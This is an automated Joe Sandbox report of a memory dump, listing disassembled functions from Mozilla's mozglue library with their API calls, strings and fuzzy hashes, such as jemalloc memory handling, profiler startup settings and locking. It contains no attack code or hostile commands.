Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 430ce8e043642672c9f1ad552f6acf81942139a48e01c21f819eac7f96a86c83
Instruction ID: 1d8c03aa0fa54bb534cc8f5faaa3361884c14b92f2223d894aefeb06f6f26286
Opcode Fuzzy Hash: 430ce8e043642672c9f1ad552f6acf81942139a48e01c21f819eac7f96a86c83
Instruction Fuzzy Hash: BD212CB4E002099FDF04DFA9C8859FEBBB4EF89314F148129ED06A7341E731A954CBA5

Function 6C6B6E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C6B6E78

Part of subcall function 6C6B6A10: InitializeCriticalSection.KERNEL32(6C6DF618), ref: 6C6B6A68
Part of subcall function 6C6B6A10: GetCurrentProcess.KERNEL32 ref: 6C6B6A7D
Part of subcall function 6C6B6A10: GetCurrentProcess.KERNEL32 ref: 6C6B6AA1
Part of subcall function 6C6B6A10: EnterCriticalSection.KERNEL32(6C6DF618), ref: 6C6B6AAE
Part of subcall function 6C6B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C6B6AE1
Part of subcall function 6C6B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C6B6B15
Part of subcall function 6C6B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C6B6B65
Part of subcall function 6C6B6A10: LeaveCriticalSection.KERNEL32(6C6DF618,?,?), ref: 6C6B6B83

MozFormatCodeAddress.MOZGLUE ref: 6C6B6EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C6B6EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C6B6EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C6B6EFF

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 52868295192b0fefc6acc7cb5db6232ecb037373e40537bb9ebe56d2a2dce9ae
Instruction ID: 7a861fe4b3ce47c9d7d0582b0418f171e1b28da3ad38869fc556fbcb7c811e64
Opcode Fuzzy Hash: 52868295192b0fefc6acc7cb5db6232ecb037373e40537bb9ebe56d2a2dce9ae
Instruction Fuzzy Hash: 9F21A471A042199FDF04CF69D8C569E77F9EF89308F044039E809A7241DB70AA59CF96

Function 6C690D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C653DEF), ref: 6C690D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C653DEF), ref: 6C690D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C653DEF), ref: 6C690DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C690D97, 6C690DBE
<jemalloc>, xrefs: 6C690D92, 6C690DB9

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 13bbc51be261d3e61bd704e20e53ec9f8c3ea23577e6d8f8bb17b6e2824cef17
Instruction ID: 9eb333f3b368d62e8b1546ca32396374ec09f74a64d74f8d664fc73b983ace28
Opcode Fuzzy Hash: 13bbc51be261d3e61bd704e20e53ec9f8c3ea23577e6d8f8bb17b6e2824cef17
Instruction Fuzzy Hash: C2F02E3138039623E72016670C0AF6A269EA7C6B35F314035F744DE9C4DA90F80486AE

Function 6C6B5850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6C6B586C
CloseHandle.KERNEL32 ref: 6C6B5878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B5898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C6B58C9
free.MOZGLUE(00000000), ref: 6C6B58D3

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: bbba00b47b56b9d4b22660fedf8f6ebcaafb7fff67a430c1ad4f7830a56b2c95
Instruction ID: 8a0083879518c1b11755c31113286ebade07498b1b68bf36c83afe0e639a6c88
Opcode Fuzzy Hash: bbba00b47b56b9d4b22660fedf8f6ebcaafb7fff67a430c1ad4f7830a56b2c95
Instruction Fuzzy Hash: 1B0162717141119BDF01DF17D888A467BB9EFA3329F244276E41AD2210D731B9258F8F

Function 6C6A7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C6A75C4,?), ref: 6C6A762B

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C6A74D7,6C6B15FC,?,?,?), ref: 6C6A7644
GetCurrentThreadId.KERNEL32 ref: 6C6A765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C6A74D7,6C6B15FC,?,?,?), ref: 6C6A7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C6A74D7,6C6B15FC,?,?,?), ref: 6C6A7677

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: ee541756ce323456bcc3d6523245fd4db53dfe164a67086f434006cbe362bdc5
Instruction ID: 6bb646a485ea3ebe2f0a811155d3322491c280c443d3c73ed9b1370723d7e4e5
Opcode Fuzzy Hash: ee541756ce323456bcc3d6523245fd4db53dfe164a67086f434006cbe362bdc5
Instruction Fuzzy Hash: 30F0A471E10786ABD7008F22C888675B778FFEA259F11431AF90543601E7B0B5D18BD5

Function 6C6B1700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C6B1800

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

Part of subcall function 6C654290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C693EBD,6C693EBD,00000000), ref: 6C6542A9

Strings

name, xrefs: 6C6B1939
Details, xrefs: 6C6B1925
{marker.name} - {marker.data.name}, xrefs: 6C6B18C7

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: f57cc0acf601b34f59bfb0a927a8cf69c2a29521a92e304fc251dfc88a6d7df5
Instruction ID: 22190e491aefa8e33f91223b97db45de0eecc8c7765d60689da5328f2aeae385
Opcode Fuzzy Hash: f57cc0acf601b34f59bfb0a927a8cf69c2a29521a92e304fc251dfc88a6d7df5
Instruction Fuzzy Hash: BB71F3B0A00346AFC704DF29D4947AABBB1FF46304F444669D8155BB41DB70F6A8CBEA

Function 6C67D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

EnterCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D4F2
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D50B

Part of subcall function 6C65CFE0: EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C65CFF6
Part of subcall function 6C65CFE0: LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C65D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D52E
EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C67D690
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D751

Strings

MOZ_CRASH(), xrefs: 6C67D4BB

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 4a4597c506335fd374026c37a78a4c4713f739f71224aa12a41bea50c1db6c0a
Instruction ID: 72be7f876658cff6d62bdf5daf5ff4cfa071adc8b61d5b6b6fcdee3ae64f8576
Opcode Fuzzy Hash: 4a4597c506335fd374026c37a78a4c4713f739f71224aa12a41bea50c1db6c0a
Instruction Fuzzy Hash: E651A071A047018FD364CF29C49465AB7F1EF89704F558E2ED59AC7B84D770E840CB6A

Function 6C6A4630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C6A4721

Strings

profiler-paused, xrefs: 6C6A46E4
., xrefs: 6C6A476A
-%llu, xrefs: 6C6A4733

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 7c47c857322daacc010ec0f4dd803b779c30a42292451004a68c6c0cc5d1a5bb
Instruction ID: d9b877f844518185a66eb8317f8e241a0f0eb0060e8744db4597b5dc4e61bef9
Opcode Fuzzy Hash: 7c47c857322daacc010ec0f4dd803b779c30a42292451004a68c6c0cc5d1a5bb
Instruction Fuzzy Hash: 37418971E047089BCB08CFB9D88116EBBF5EF86744F10863DE85957B41EB70E841874A

Function 6C6C9830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C6C985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C6C987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C6C98DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C6C98D9

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 132a496e17e16a690cb7d99c3f3fb1f13823582104f041d35db6d3516b5756ce
Instruction ID: 84c184053eb01ea360ad2783384926cf2274fa4c0e4429a66cb157956828c49a
Opcode Fuzzy Hash: 132a496e17e16a690cb7d99c3f3fb1f13823582104f041d35db6d3516b5756ce
Instruction Fuzzy Hash: 6F310871B001086BDB14AF59DC445EE77B9DF85718F50842DEA0A9BB40DB71A904CBEE

Function 6C6A46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C6A4721

Part of subcall function 6C654410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C693EBD,00000017,?,00000000,?,6C693EBD,?,?,6C6542D2), ref: 6C654444

Strings

profiler-paused, xrefs: 6C6A46E4
., xrefs: 6C6A476A
-%llu, xrefs: 6C6A4733

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 26b888f47b694df7ae51fe5d885ae943c1e72917b37d5a576de09379f6fa01ae
Instruction ID: ee623ee0f79995db137349a269ed70c0a4b22cc15c8904805aa0d65b05339753
Opcode Fuzzy Hash: 26b888f47b694df7ae51fe5d885ae943c1e72917b37d5a576de09379f6fa01ae
Instruction Fuzzy Hash: 49312A71F042085BCB08CFADDC812ADBBE6DB89314F55813DE8059BB41EBB0DD058B99

Function 6C6AB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C654290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C693EBD,6C693EBD,00000000), ref: 6C6542A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C6AB127), ref: 6C6AB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6AB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C6AB4E4

Strings

pid:, xrefs: 6C6AB4DE

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: f2833832c2e09ac9d0fa345bfb691ad62b155d79752d84222e94a571c01022f7
Instruction ID: 08c90ab0690d7f8403227b0f2834ab55f99ceeb46082f2b9e9c56eb2096e64bc
Opcode Fuzzy Hash: f2833832c2e09ac9d0fa345bfb691ad62b155d79752d84222e94a571c01022f7
Instruction Fuzzy Hash: E431E031A0120C9FDB00DFEAD880AEEB7B5FF85318F540529D81267A45D732AD46CBA9

Function 6C66BF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C6B7A3F), ref: 6C66BF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C6B7A3F), ref: 6C66BF5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C6B7A3F), ref: 6C66BF7E

Strings

ll, xrefs: 6C66BF84

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: ll
API String ID: 4279176481-422694604
Opcode ID: 9df5228b65a0eff3ddc44577ae6d394cb1355ee277eae887838cd46532bb6328
Instruction ID: acc39dd28e06e19247f79fe10d4894abeff6178b15d653ae20e437cdaa2bc3a2
Opcode Fuzzy Hash: 9df5228b65a0eff3ddc44577ae6d394cb1355ee277eae887838cd46532bb6328
Instruction Fuzzy Hash: 6611BF793016048FC729CF0CD599926FBF8FB59308355885DE98A8B754C731F800CB99

Function 6C69E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C69E577
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69E584
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C69E8A6

Strings

MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C69E826, 6C69E850
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C69E722, 6C69E750, 6C69E7A2
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C69E655
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C69E777
MOZ_PROFILER_STARTUP, xrefs: 6C69E5A1, 6C69E5CC, 6C69E5FF, 6C69E62A

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 1eca9647559c815ef8c16a1fd9d354fdd95aa9a5c77d5d2c3967643dee620f54
Instruction ID: 8c3d27a3f7cef48c4ed5c2157a3c3fed9863bba23175123dc71420e2c82529b7
Opcode Fuzzy Hash: 1eca9647559c815ef8c16a1fd9d354fdd95aa9a5c77d5d2c3967643dee620f54
Instruction Fuzzy Hash: 4111AD31A04258DFCB009F16C888B6ABBB4FFC9329F050A19E84587651D774B805CFDE

Function 6C6A0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A0CD5

Part of subcall function 6C68F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C68F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A0D40
free.MOZGLUE ref: 6C6A0DCB

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

free.MOZGLUE ref: 6C6A0DDD
free.MOZGLUE ref: 6C6A0DF2

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: fce425f7b408e5fb4db8014b62f0115985f6ab6ab260e4d0d9e1334d07c0fba8
Instruction ID: 0744bd5b5f7c2c126cec454ca987b28fa44c9ec751ffde8c5b25c6819782081d
Opcode Fuzzy Hash: fce425f7b408e5fb4db8014b62f0115985f6ab6ab260e4d0d9e1334d07c0fba8
Instruction Fuzzy Hash: 154139719087809BD320DF29C08079AFBE5BFC9714F118A2EE9D987750D770A846CB9B

Function 6C690800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C690838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C69084C
EnterCriticalSection.KERNEL32(?), ref: 6C6908AF
LeaveCriticalSection.KERNEL32(?), ref: 6C6908BD
LeaveCriticalSection.KERNEL32(6C6DE7DC), ref: 6C6908D5

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: 1b213696630c9b1e99bd03d16a7ce02d416ba33bdca5681bf5c8060b1001ba7a
Instruction ID: 0c2d6e11bd8e05ad90fa341da736fe2338653d600f94c2358b24497550ac1e29
Opcode Fuzzy Hash: 1b213696630c9b1e99bd03d16a7ce02d416ba33bdca5681bf5c8060b1001ba7a
Instruction Fuzzy Hash: E121B031B0524A9BEF048F66D884BAEB379AF89708F500529D909A7A40DB31A804CBDC

Function 6C6ACCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACDA4

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

Part of subcall function 6C6AD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C6ACDBA,00100000,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD158
Part of subcall function 6C6AD130: InitializeConditionVariable.KERNEL32(00000098,?,6C6ACDBA,00100000,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACDC4

Part of subcall function 6C6A7480: ReleaseSRWLockExclusive.KERNEL32(?,6C6B15FC,?,?,?,?,6C6B15FC,?), ref: 6C6A74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACECC

Part of subcall function 6C66CA10: mozalloc_abort.MOZGLUE(?), ref: 6C66CAA2

